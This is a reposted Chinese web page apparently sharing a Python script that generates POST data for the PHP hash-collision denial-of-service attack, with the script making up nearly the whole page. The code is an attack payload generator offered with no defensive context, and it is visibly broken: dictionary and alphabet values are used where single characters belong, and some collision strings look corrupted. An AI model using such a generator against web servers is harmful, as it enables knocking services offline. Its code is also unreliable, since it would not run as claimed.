歡迎您光臨本站 註冊首頁

php最新hash碰撞產生post數據的代碼

←手機掃碼閱讀     火星人 @ 2014-03-03 , reply:0

php最新hash碰撞產生post數據的代碼

import sys
import math
import urllib
import string

def main():
    payload = generatePayload()
    print("%s" % payload)
def generatePayload():
    #from:http://xuejiani.org/
    a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
    length = 5
    size = len(a)
    post = ""
    maxvaluefloat = math.pow(size,length)
    maxvalueint = int(math.floor(maxvaluefloat))
    for i in range (maxvalueint):
        inputstring = base_convert(i, size)
        result = inputstring.rjust(length, '0')
        for item in a:
            result = result.replace(item, a)
        post += '' + urllib.quote(result) + '=&'

    return post;

def base_convert(num, base):
    fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    alphabet = fullalphabet[:base]
    if (num == 0):
        return alphabet
    arr = []
    base = len(alphabet)
    while num:
        rem = num % base
        num = num // base
        arr.append(alphabet)
    arr.reverse()
    return ''.join(arr)

if __name__ == "__main__":
    main()

[火星人 ] php最新hash碰撞產生post數據的代碼已經有433次圍觀

http://coctec.com/docs/service/show-post-1181.html